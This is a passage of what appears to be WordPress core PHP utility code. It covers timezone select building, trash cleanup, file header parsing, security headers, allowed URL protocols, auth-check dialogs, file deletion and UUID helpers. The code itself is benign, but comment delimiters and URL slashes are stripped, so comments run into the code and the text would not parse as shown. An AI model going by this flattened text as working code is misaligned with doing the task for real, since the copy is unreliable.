$exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ), ); phpcs:enable } usort( $zonen, '_wp_timezone_choice_usort_callback' ); $structure = array(); if ( empty( $selected_zone ) ) { $structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>'; } If this is a deprecated, but valid, timezone string, display it at the top of the list as-is. if ( in_array( $selected_zone, $tz_identifiers, true ) === false && in_array( $selected_zone, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) { $structure[] = '<option selected="selected" value="' . esc_attr( $selected_zone ) . '">' . esc_html( $selected_zone ) . '</option>'; } foreach ( $zonen as $key => $zone ) { Build value in an array to join later. $value = array( $zone['continent'] ); if ( empty( $zone['city'] ) ) { It's at the continent level (generally won't happen). $display = $zone['t_continent']; } else { It's inside a continent group. Continent optgroup. if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) { $label = $zone['t_continent']; $structure[] = '<optgroup label="' . esc_attr( $label ) . '">'; } Add the city to the value. $value[] = $zone['city']; $display = $zone['t_city']; if ( ! empty( $zone['subcity'] ) ) { Add the subcity to the value. $value[] = $zone['subcity']; $display .= ' - ' . $zone['t_subcity']; } } Build the value. $value = implode( '/', $value ); $selected = ''; if ( $value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . '</option>'; Close continent optgroup. if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) { $structure[] = '</optgroup>'; } } Do UTC. $structure[] = '<optgroup label="' . esc_attr__( 'UTC' ) . '">'; $selected = ''; if ( 'UTC' === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __( 'UTC' ) . '</option>'; $structure[] = '</optgroup>'; Do manual UTC offsets. $structure[] = '<optgroup label="' . esc_attr__( 'Manual Offsets' ) . '">'; $offset_range = array( -12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14, ); foreach ( $offset_range as $offset ) { if ( 0 <= $offset ) { $offset_name = '+' . $offset; } else { $offset_name = (string) $offset; } $offset_value = $offset_name; $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name ); $offset_name = 'UTC' . $offset_name; $offset_value = 'UTC' . $offset_value; $selected = ''; if ( $offset_value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . '</option>'; } $structure[] = '</optgroup>'; return implode( "\n", $structure ); } * * Strips close comment and close php tags from file headers used by WP. * * @since 2.8.0 * @access private * * @see https:core.trac.wordpress.org/ticket/8497 * * @param string $str Header comment to clean up. * @return string function _cleanup_header_comment( $str ) { return trim( preg_replace( '/\s*(?:\*\/|\?>).', '', $str ) ); } * * Permanently deletes comments or posts of any type that have held a status * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS. * * The default value of `EMPTY_TRASH_DAYS` is 30 (days). * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. function wp_scheduled_delete() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $posts_to_delete as $post ) { $post_id = (int) $post['post_id']; if ( ! $post_id ) { continue; } $del_post = get_post( $post_id ); if ( ! $del_post || 'trash' !== $del_post->post_status ) { delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); } else { wp_delete_post( $post_id ); } } $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $comments_to_delete as $comment ) { $comment_id = (int) $comment['comment_id']; if ( ! $comment_id ) { continue; } $del_comment = get_comment( $comment_id ); if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) { delete_comment_meta( $comment_id, '_wp_trash_meta_time' ); delete_comment_meta( $comment_id, '_wp_trash_meta_status' ); } else { wp_delete_comment( $del_comment ); } } } * * Retrieves metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * @link https:codex.wordpress.org/File_Header * * @since 2.9.0 * * @param string $file Absolute path to the file. * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}. * Default empty string. * @return string[] Array of file header values keyed by header name. function get_file_data( $file, $default_headers, $context = '' ) { Pull only the first 8 KB of the file in. $file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES ); if ( false === $file_data ) { $file_data = ''; } Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); * * Filters extra file headers by context. * * The dynamic portion of the hook name, `$context`, refers to * the context where extra headers might be loaded. * * @since 2.9.0 * * @param array $extra_context_headers Empty array by default. $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array(); if ( $extra_headers ) { $extra_headers = array_combine( $extra_headers, $extra_headers ); Keys equal values. $all_headers = array_merge( $extra_headers, (array) $default_headers ); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) { $all_headers[ $field ] = _cleanup_header_comment( $match[1] ); } else { $all_headers[ $field ] = ''; } } return $all_headers; } * * Returns true. * * Useful for returning true to filters easily. * * @since 3.0.0 * * @see __return_false() * * @return true True. function __return_true() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return true; } * * Returns false. * * Useful for returning false to filters easily. * * @since 3.0.0 * * @see __return_true() * * @return false False. function __return_false() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return false; } * * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. function __return_zero() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } * * Returns an empty array. * * Useful for returning an empty array to filters easily. * * @since 3.0.0 * * @return array Empty array. function __return_empty_array() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return array(); } * * Returns null. * * Useful for returning null to filters easily. * * @since 3.4.0 * * @return null Null value. function __return_null() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return null; } * * Returns an empty string. * * Useful for returning an empty string to filters easily. * * @since 3.7.0 * * @see __return_null() * * @return string Empty string. function __return_empty_string() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return ''; } * * Sends a HTTP header to disable content type sniffing in browsers which support it. * * @since 3.0.0 * * @see https:blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx * @see https:src.chromium.org/viewvc/chrome?view=rev&revision=6985 function send_nosniff_header() { header( 'X-Content-Type-Options: nosniff' ); } * * Returns a MySQL expression for selecting the week number based on the start_of_week option. * * @ignore * @since 3.0.0 * * @param string $column Database column. * @return string SQL clause. function _wp_mysql_week( $column ) { $start_of_week = (int) get_option( 'start_of_week' ); switch ( $start_of_week ) { case 1: return "WEEK( $column, 1 )"; case 2: case 3: case 4: case 5: case 6: return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )"; case 0: default: return "WEEK( $column, 0 )"; } } * * Finds hierarchy loops using a callback function that maps object IDs to parent IDs. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ). * Use null to always use $callback. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @return array IDs of all members of loop. function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) { $override = is_null( $start_parent ) ? array() : array( $start => $start_parent ); $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ); if ( ! $arbitrary_loop_member ) { return array(); } return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true ); } * * Uses the "The Tortoise and the Hare" algorithm to detect loops. * * For every step of the algorithm, the hare takes two steps and the tortoise one. * If the hare ever laps the tortoise, there must be a loop. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback. * Default empty array. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set * to true if you already know the given $start is part of a loop (otherwise * the returned array might include branches). Default false. * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if * $_return_loop function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) { $tortoise = $start; $hare = $start; $evanescent_hare = $start; $return = array(); Set evanescent_hare to one past hare. Increment hare two steps. while ( $tortoise && ( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) ) && ( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) ) ) { if ( $_return_loop ) { $return[ $tortoise ] = true; $return[ $evanescent_hare ] = true; $return[ $hare ] = true; } Tortoise got lapped - must be a loop. if ( $tortoise === $evanescent_hare || $tortoise === $hare ) { return $_return_loop ? $return : $tortoise; } Increment tortoise by one step. $tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) ); } return false; } * * Sends a HTTP header to limit rendering of pages to same origin iframes. * * @since 3.1.3 * * @see https:developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options function send_frame_options_header() { header( 'X-Frame-Options: SAMEORIGIN' ); } * * Retrieves a list of protocols to allow in HTML attributes. * * @since 3.3.0 * @since 4.3.0 Added 'webcal' to the protocols array. * @since 4.7.0 Added 'urn' to the protocols array. * @since 5.3.0 Added 'sms' to the protocols array. * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array. * * @see wp_kses() * @see esc_url() * * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https', * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', * 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'. * This covers all common link protocols, except for 'javascript' which should not * be allowed for untrusted users. function wp_allowed_protocols() { static $protocols = array(); if ( empty( $protocols ) ) { $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' ); } if ( ! did_action( 'wp_loaded' ) ) { * * Filters the list of protocols allowed in HTML attributes. * * @since 3.0.0 * * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more. $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) ); } return $protocols; } * * Returns a comma-separated string or array of functions that have been called to get * to the current point in code. * * @since 3.4.0 * * @see https:core.trac.wordpress.org/ticket/19589 * * @param string $ignore_class Optional. A class to ignore all function calls within - useful * when you want to just give info about the callee. Default null. * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding * back to the source of the issue. Default 0. * @param bool $pretty Optional. Whether you want a comma separated string instead of * the raw array returned. Default true. * @return string|array Either a string containing a reversed comma separated trace or an array * of individual calls. function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) { static $truncate_paths; $trace = debug_backtrace( false ); $caller = array(); $check_class = ! is_null( $ignore_class ); ++$skip_frames; Skip this function. if ( ! isset( $truncate_paths ) ) { $truncate_paths = array( wp_normalize_path( WP_CONTENT_DIR ), wp_normalize_path( ABSPATH ), ); } foreach ( $trace as $call ) { if ( $skip_frames > 0 ) { --$skip_frames; } elseif ( isset( $call['class'] ) ) { if ( $check_class && $ignore_class === $call['class'] ) { continue; Filter out calls. } $caller[] = "{$call['class']}{$call['type']}{$call['function']}"; } else { if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) { $caller[] = "{$call['function']}('{$call['args'][0]}')"; } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) { $filename = isset( $call['args'][0] ) ? $call['args'][0] : ''; $caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')"; } else { $caller[] = $call['function']; } } } if ( $pretty ) { return implode( ', ', array_reverse( $caller ) ); } else { return $caller; } } * * Retrieves IDs that are not already present in the cache. * * @since 3.4.0 * @since 6.1.0 This function is no longer marked as "private". * * @param int[] $object_ids Array of IDs. * @param string $cache_group The cache group to check against. * @return int[] Array of IDs not present in the cache. function _get_non_cached_ids( $object_ids, $cache_group ) { $object_ids = array_filter( $object_ids, '_validate_cache_id' ); $object_ids = array_unique( array_map( 'intval', $object_ids ), SORT_NUMERIC ); if ( empty( $object_ids ) ) { return array(); } $non_cached_ids = array(); $cache_values = wp_cache_get_multiple( $object_ids, $cache_group ); foreach ( $cache_values as $id => $value ) { if ( false === $value ) { $non_cached_ids[] = (int) $id; } } return $non_cached_ids; } * * Checks whether the given cache ID is either an integer or an integer-like string. * * Both `16` and `"16"` are considered valid, other numeric types and numeric strings * (`16.3` and `"16.3"`) are considered invalid. * * @since 6.3.0 * * @param mixed $object_id The cache ID to validate. * @return bool Whether the given $object_id is a valid cache ID. function _validate_cache_id( $object_id ) { * filter_var() could be used here, but the `filter` PHP extension * is considered optional and may not be available. if ( is_int( $object_id ) || ( is_string( $object_id ) && (string) (int) $object_id === $object_id ) ) { return true; } translators: %s: The type of the given object ID. $message = sprintf( __( 'Object ID must be an integer, %s given.' ), gettype( $object_id ) ); _doing_it_wrong( '_get_non_cached_ids', $message, '6.3.0' ); return false; } * * Tests if the current device has the capability to upload files. * * @since 3.4.0 * @access private * * @return bool Whether the device is able to upload files. function _device_can_upload() { if ( ! wp_is_mobile() ) { return true; } $ua = $_SERVER['HTTP_USER_AGENT']; if ( str_contains( $ua, 'iPhone' ) || str_contains( $ua, 'iPad' ) || str_contains( $ua, 'iPod' ) ) { return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' ); } return true; } * * Tests if a given path is a stream URL * * @since 3.5.0 * * @param string $path The resource path or URL. * @return bool True if the path is a stream URL. function wp_is_stream( $path ) { $scheme_separator = strpos( $path, ':' ); if ( false === $scheme_separator ) { $path isn't a stream. return false; } $stream = substr( $path, 0, $scheme_separator ); return in_array( $stream, stream_get_wrappers(), true ); } * * Tests if the supplied date is valid for the Gregorian calendar. * * @since 3.5.0 * * @link https:www.php.net/manual/en/function.checkdate.php * * @param int $month Month number. * @param int $day Day number. * @param int $year Year number. * @param string $source_date The date to filter. * @return bool True if valid date, false if not valid date. function wp_checkdate( $month, $day, $year, $source_date ) { * * Filters whether the given date is valid for the Gregorian calendar. * * @since 3.5.0 * * @param bool $checkdate Whether the given date is valid. * @param string $source_date Date to check. return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date ); } * * Loads the auth check for monitoring whether the user is still logged in. * * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); * * This is disabled for certain screens where a login screen could cause an * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used * for fine-grained control. * * @since 3.6.0 function wp_auth_check_load() { if ( ! is_admin() && ! is_user_logged_in() ) { return; } if ( defined( 'IFRAME_REQUEST' ) ) { return; } $screen = get_current_screen(); $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' ); $show = ! in_array( $screen->id, $hidden, true ); * * Filters whether to load the authentication check. * * Returning a falsey value from the filter will effectively short-circuit * loading the authentication check. * * @since 3.6.0 * * @param bool $show Whether to load the authentication check. * @param WP_Screen $screen The current screen object. if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) { wp_enqueue_style( 'wp-auth-check' ); wp_enqueue_script( 'wp-auth-check' ); add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 ); add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 ); } } * * Outputs the HTML that shows the wp-login dialog when the user is no longer logged in. * * @since 3.6.0 function wp_auth_check_html() { $login_url = wp_login_url(); $current_domain = ( is_ssl() ? 'https:' : 'http:' ) . $_SERVER['HTTP_HOST']; $same_domain = str_starts_with( $login_url, $current_domain ); * * Filters whether the authentication check originated at the same domain. * * @since 3.6.0 * * @param bool $same_domain Whether the authentication check originated at the same domain. $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain ); $wrap_class = $same_domain ? 'hidden' : 'hidden fallback'; ?> <div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>"> <div id="wp-auth-check-bg"></div> <div id="wp-auth-check"> <button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"> <?php translators: Hidden accessibility text. _e( 'Close dialog' ); ?> </span></button> <?php if ( $same_domain ) { $login_src = add_query_arg( array( 'interim-login' => '1', 'wp_lang' => get_user_locale(), ), $login_url ); ?> <div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div> <?php } ?> <div class="wp-auth-fallback"> <p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e( 'Session expired' ); ?></b></p> <p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e( 'Please log in again.' ); ?></a> <?php _e( 'The login page will open in a new tab. After logging in you can close it and return to this page.' ); ?></p> </div> </div> </div> <?php } * * Checks whether a user is still logged in, for the heartbeat. * * Send a result that shows a log-in box if the user is no longer logged in, * or if their cookie is within the grace period. * * @since 3.6.0 * * @global int $login_grace_period * * @param array $response The Heartbeat response. * @return array The Heartbeat response with 'wp-auth-check' value set. function wp_auth_check( $response ) { $response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] ); return $response; } * * Returns RegEx body to liberally match an opening HTML tag. * * Matches an opening HTML tag that: * 1. Is self-closing or * 2. Has no body but has a closing tag of the same name or * 3. Contains a body and a closing tag of the same name * * Note: this RegEx does not balance inner tags and does not attempt * to produce valid HTML * * @since 3.6.0 * * @param string $tag An HTML tag name. Example: 'video'. * @return string Tag RegEx. function get_tag_regex( $tag ) { if ( empty( $tag ) ) { return ''; } return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) ); } * * Retrieves a canonical form of the provided charset appropriate for passing to PHP * functions such as htmlspecialchars() and charset HTML attributes. * * @since 3.6.0 * @access private * * @see https:core.trac.wordpress.org/ticket/23688 * * @param string $charset A charset name. * @return string The canonical form of the charset. function _canonical_charset( $charset ) { if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset ) ) { return 'UTF-8'; } if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) { return 'ISO-8859-1'; } return $charset; } * * Sets the mbstring internal encoding to a binary safe encoding when func_overload * is enabled. * * When mbstring.func_overload is in use for multi-byte encodings, the results from * strlen() and similar functions respect the utf8 characters, causing binary data * to return incorrect lengths. * * This function overrides the mbstring encoding to a binary-safe encoding, and * resets it to the users expected encoding afterwards through the * `reset_mbstring_encoding` function. * * It is safe to recursively call this function, however each * `mbstring_binary_safe_encoding()` call must be followed up with an equal number * of `reset_mbstring_encoding()` calls. * * @since 3.7.0 * * @see reset_mbstring_encoding() * * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding. * Default false. function mbstring_binary_safe_encoding( $reset = false ) { static $encodings = array(); static $overloaded = null; if ( is_null( $overloaded ) ) { if ( function_exists( 'mb_internal_encoding' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $overloaded = true; } else { $overloaded = false; } } if ( false === $overloaded ) { return; } if ( ! $reset ) { $encoding = mb_internal_encoding(); array_push( $encodings, $encoding ); mb_internal_encoding( 'ISO-8859-1' ); } if ( $reset && $encodings ) { $encoding = array_pop( $encodings ); mb_internal_encoding( $encoding ); } } * * Resets the mbstring internal encoding to a users previously set encoding. * * @see mbstring_binary_safe_encoding() * * @since 3.7.0 function reset_mbstring_encoding() { mbstring_binary_safe_encoding( true ); } * * Filters/validates a variable as a boolean. * * Alternative to `filter_var( $value, FILTER_VALIDATE_BOOLEAN )`. * * @since 4.0.0 * * @param mixed $value Boolean value to validate. * @return bool Whether the value is validated. function wp_validate_boolean( $value ) { if ( is_bool( $value ) ) { return $value; } if ( is_string( $value ) && 'false' === strtolower( $value ) ) { return false; } return (bool) $value; } * * Deletes a file. * * @since 4.2.0 * * @param string $file The path to the file to delete. function wp_delete_file( $file ) { * * Filters the path of the file to delete. * * @since 2.1.0 * * @param string $file Path to the file to delete. $delete = apply_filters( 'wp_delete_file', $file ); if ( ! empty( $delete ) ) { @unlink( $delete ); } } * * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $file Absolute path to the file to delete. * @param string $directory Absolute path to a directory. * @return bool True on success, false on failure. function wp_delete_file_from_directory( $file, $directory ) { if ( wp_is_stream( $file ) ) { $real_file = $file; $real_directory = $directory; } else { $real_file = realpath( wp_normalize_path( $file ) ); $real_directory = realpath( wp_normalize_path( $directory ) ); } if ( false !== $real_file ) { $real_file = wp_normalize_path( $real_file ); } if ( false !== $real_directory ) { $real_directory = wp_normalize_path( $real_directory ); } if ( false === $real_file || false === $real_directory || ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) { return false; } wp_delete_file( $file ); return true; } * * Outputs a small JS snippet on preview tabs/windows to remove `window.name` when a user is navigating to another page. * * This prevents reusing the same tab for a preview when the user has navigated away. * * @since 4.3.0 * * @global WP_Post $post Global post object. function wp_post_preview_js() { global $post; if ( ! is_preview() || empty( $post ) ) { return; } Has to match the window name used in post_submit_meta_box(). $name = 'wp-preview-' . (int) $post->ID; ob_start(); ?> <script> ( function() { var query = document.location.search; if ( query && query.indexOf( 'preview=true' ) !== -1 ) { window.name = '<?php echo $name; ?>'; } if ( window.addEventListener ) { window.addEventListener( 'pagehide', function() { window.name = ''; } ); } }()); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } * * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601 (Y-m-d\TH:i:s). * * Explicitly strips timezones, as datetimes are not saved with any timezone * information. Including any information on the offset could be misleading. * * Despite historical function name, the output does not conform to RFC3339 format, * which must contain timezone. * * @since 4.4.0 * * @param string $date_string Date string to parse and format. * @return string Date formatted for ISO8601 without time zone. function mysql_to_rfc3339( $date_string ) { return mysql2date( 'Y-m-d\TH:i:s', $date_string, false ); } * * Attempts to raise the PHP memory limit for memory intensive processes. * * Only allows raising the existing limit and prevents lowering it. * * @since 4.6.0 * * @param string $context Optional. Context in which the function is called. Accepts either 'admin', * 'image', 'cron', or an arbitrary other context. If an arbitrary context is passed, * the similarly arbitrary {@see '$context_memory_limit'} filter will be * invoked. Default 'admin'. * @return int|string|false The limit that was set or false on failure. function wp_raise_memory_limit( $context = 'admin' ) { Exit early if the limit cannot be changed. if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { return false; } $current_limit = ini_get( 'memory_limit' ); $current_limit_int = wp_convert_hr_to_bytes( $current_limit ); if ( -1 === $current_limit_int ) { return false; } $wp_max_limit = WP_MAX_MEMORY_LIMIT; $wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit ); $filtered_limit = $wp_max_limit; switch ( $context ) { case 'admin': * * Filters the maximum memory limit available for administration screens. * * This only applies to administrators, who may require more memory for tasks * like updates. Memory limits when processing images (uploaded or edited by * users of any role) are handled separately. * * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory * limit available when in the administration back end. The default is 256M * (256 megabytes of memory) or the original `memory_limit` php.ini value if * this is higher. * * @since 3.0.0 * @since 4.6.0 The default now takes the original `memory_limit` into account. * * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer * (bytes), or a shorthand string notation, such as '256M'. $filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit ); break; case 'image': * * Filters the memory limit allocated for image manipulation. * * @since 3.5.0 * @since 4.6.0 The default now takes the original `memory_limit` into account. * * @param int|string $filtered_limit Maximum memory limit to allocate for image processing. * Default `WP_MAX_MEMORY_LIMIT` or the original * php.ini `memory_limit`, whichever is higher. * Accepts an integer (bytes), or a shorthand string * notation, such as '256M'. $filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit ); break; case 'cron': * * Filters the memory limit allocated for WP-Cron event processing. * * @since 6.3.0 * * @param int|string $filtered_limit Maximum memory limit to allocate for WP-Cron. * Default `WP_MAX_MEMORY_LIMIT` or the original * php.ini `memory_limit`, whichever is higher. * Accepts an integer (bytes), or a shorthand string * notation, such as '256M'. $filtered_limit = apply_filters( 'cron_memory_limit', $filtered_limit ); break; default: * * Filters the memory limit allocated for an arbitrary context. * * The dynamic portion of the hook name, `$context`, refers to an arbitrary * context passed on calling the function. This allows for plugins to define * their own contexts for raising the memory limit. * * @since 4.6.0 * * @param int|string $filtered_limit Maximum memory limit to allocate for this context. * Default WP_MAX_MEMORY_LIMIT` or the original php.ini `memory_limit`, * whichever is higher. Accepts an integer (bytes), or a * shorthand string notation, such as '256M'. $filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit ); break; } $filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit ); if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) { if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) { return $filtered_limit; } else { return false; } } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) { if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) { return $wp_max_limit; } else { return false; } } return false; } * * Generates a random UUID (version 4). * * @since 4.7.0 * * @return string UUID. function wp_generate_uuid4() { return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0x0fff ) | 0x4000, mt_rand( 0, 0x3fff ) | 0x8000, mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); } * * Validates that a UUID is valid. * * @since 4.9.0 * * @param mixed $uuid UUID to check. * @param int $version Specify which version of UUID to check against. Default is none, * to accept any UUID version. Otherwise, only version allowed is `4`. * @return bool The string is a valid UUID or false on failure. function wp_is_uuid( $uuid, $version = null ) { if ( ! is_string( $uuid ) ) { return false; } if ( is_numeric( $version ) ) { if ( 4 !== (int) $version ) { _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' ); return false; } $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/'; } else { $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/'; } return (bool) preg_match( $regex, $uuid ); } * * Gets unique ID. * * This is a PHP implementation of Underscore's uniqueId method. A static variable * contains an integer that is incremented with each call. This number is returned * with the optional prefix. As such the returned value is not universally unique, * but it is unique across the life of the PHP process. * * @since 5.0.3 * * @param string $prefix Prefix for the returned ID. * @return string Unique ID. function wp_unique_id( $prefix = '' ) { static $id_counter = 0; return $prefix . (string) ++$id_counter; } * * Generates an incremental ID that is independent per 